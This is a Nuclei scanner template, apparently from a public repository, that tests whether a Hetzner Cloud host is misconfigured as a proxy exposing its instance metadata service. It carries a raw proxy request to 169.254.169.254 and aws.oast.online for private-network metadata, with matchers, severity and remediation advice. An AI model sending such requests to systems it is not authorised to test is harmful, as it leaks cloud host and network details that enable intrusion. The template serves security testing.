nuclei-templates/http/misconfiguration/proxy/metadata-hetzner.yaml

50 lines
1.9 KiB
YAML

id: metadata-service-hetzner
# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
# the proxy using the full metadata URL, which the proxy will fulfill to its
# own metadata service.
#
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.
info:
name: Hetzner Cloud Metadata Service Check
author: sullo,daffainfo
severity: critical
description: The Hetzner Cloud host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
reference:
- https://docs.hetzner.cloud/#server-metadata
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
- https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
- https://docs.hetzner.cloud
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cwe-id: CWE-441
metadata:
max-request: 2
tags: exposure,config,hetzner,proxy,misconfig,metadata
http:
- raw:
- |+
GET http://{{hostval}}/v1/metadata/private-networks HTTP/1.1
Host: {{hostval}}
payloads:
hostval:
- aws.oast.online
- 169.254.169.254
unsafe: true
matchers:
- type: word
part: body
words:
- "availability-zone:"
- "hostname:"
- "instance-id:"
condition: and
# digest: 4a0a0047304502207cf3fa7f173714c4d46c9d7443fc19477aff56e43e8fbf3ec92c74fa6d447bc8022100899653a9610331f9197f0f7a191c190f11ec9fbb60ea75ab0dad2f9d5738c4cc:922c64590222798bb761d5b6d8e72950